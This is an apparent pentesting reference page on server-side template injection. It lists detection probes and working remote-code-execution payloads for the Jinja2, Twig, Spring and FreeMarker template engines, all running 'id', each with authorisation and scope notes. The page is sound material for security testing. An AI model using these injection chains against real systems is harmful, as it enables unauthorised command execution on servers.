Payload class · ssti

Server-Side Template Injection

Detect the engine with the polyglot first, then use the engine-specific chain to reach RCE. Reflected 49 from {{7*7}} means Jinja2/Twig-family; 7777777 from {{7*'7'}} distinguishes them.

sstircejinja2twigfreemarker

Stable IDpayload:sstiLast updated2026-08-20Last verifiedLegacy review pendingProvenanceSource-linked

Context first

Use as a detection primitive

Detect the engine with the polyglot first, then use the engine-specific chain to reach RCE. Reflected 49 from {{7*7}} means Jinja2/Twig-family; 7777777 from {{7*'7'}} distinguishes them.

Do not copy blind

Identify the parser, sink, encoding, and expected non-vulnerable behavior before choosing a sample. Prefer non-destructive markers.

Samples

Recorded payloads

Detection sampleAuthorization required

Confirm the sink and encoding context before use.

${{<%[%'"}}%\

Positive signal: Tool-specific output that supports the stated hypothesis.
Negative control: No result, or identical behavior against a known-safe control.
Intrusiveness: Review flags and target scope before execution.

Detection sampleAuthorization required

Confirm the sink and encoding context before use.

{{7*7}}

Positive signal: Tool-specific output that supports the stated hypothesis.
Negative control: No result, or identical behavior against a known-safe control.
Intrusiveness: Review flags and target scope before execution.

Detection sampleAuthorization required

Confirm the sink and encoding context before use.

${7*7}

Positive signal: Tool-specific output that supports the stated hypothesis.
Negative control: No result, or identical behavior against a known-safe control.
Intrusiveness: Review flags and target scope before execution.

Detection sampleAuthorization required

Confirm the sink and encoding context before use.

#{7*7}

Positive signal: Tool-specific output that supports the stated hypothesis.
Negative control: No result, or identical behavior against a known-safe control.
Intrusiveness: Review flags and target scope before execution.

Detection sampleAuthorization required

Confirm the sink and encoding context before use.

{{7*'7'}}

Positive signal: Tool-specific output that supports the stated hypothesis.
Negative control: No result, or identical behavior against a known-safe control.
Intrusiveness: Review flags and target scope before execution.

Detection sampleAuthorization required

Confirm the sink and encoding context before use.

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Positive signal: Tool-specific output that supports the stated hypothesis.
Negative control: No result, or identical behavior against a known-safe control.
Intrusiveness: Review flags and target scope before execution.

Detection sampleAuthorization required

Confirm the sink and encoding context before use.

{{['id']|filter('system')}}

Positive signal: Tool-specific output that supports the stated hypothesis.
Negative control: No result, or identical behavior against a known-safe control.
Intrusiveness: Review flags and target scope before execution.

Detection sampleAuthorization required

Confirm the sink and encoding context before use.

${T(java.lang.Runtime).getRuntime().exec('id')}

Positive signal: Tool-specific output that supports the stated hypothesis.
Negative control: No result, or identical behavior against a known-safe control.
Intrusiveness: Review flags and target scope before execution.

Detection sampleAuthorization required

Confirm the sink and encoding context before use.

<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}

Positive signal: Tool-specific output that supports the stated hypothesis.
Negative control: No result, or identical behavior against a known-safe control.
Intrusiveness: Review flags and target scope before execution.

Source

Attribution

Open the primary collection ↗

Version history: normalized permanent page created 2026-08-20.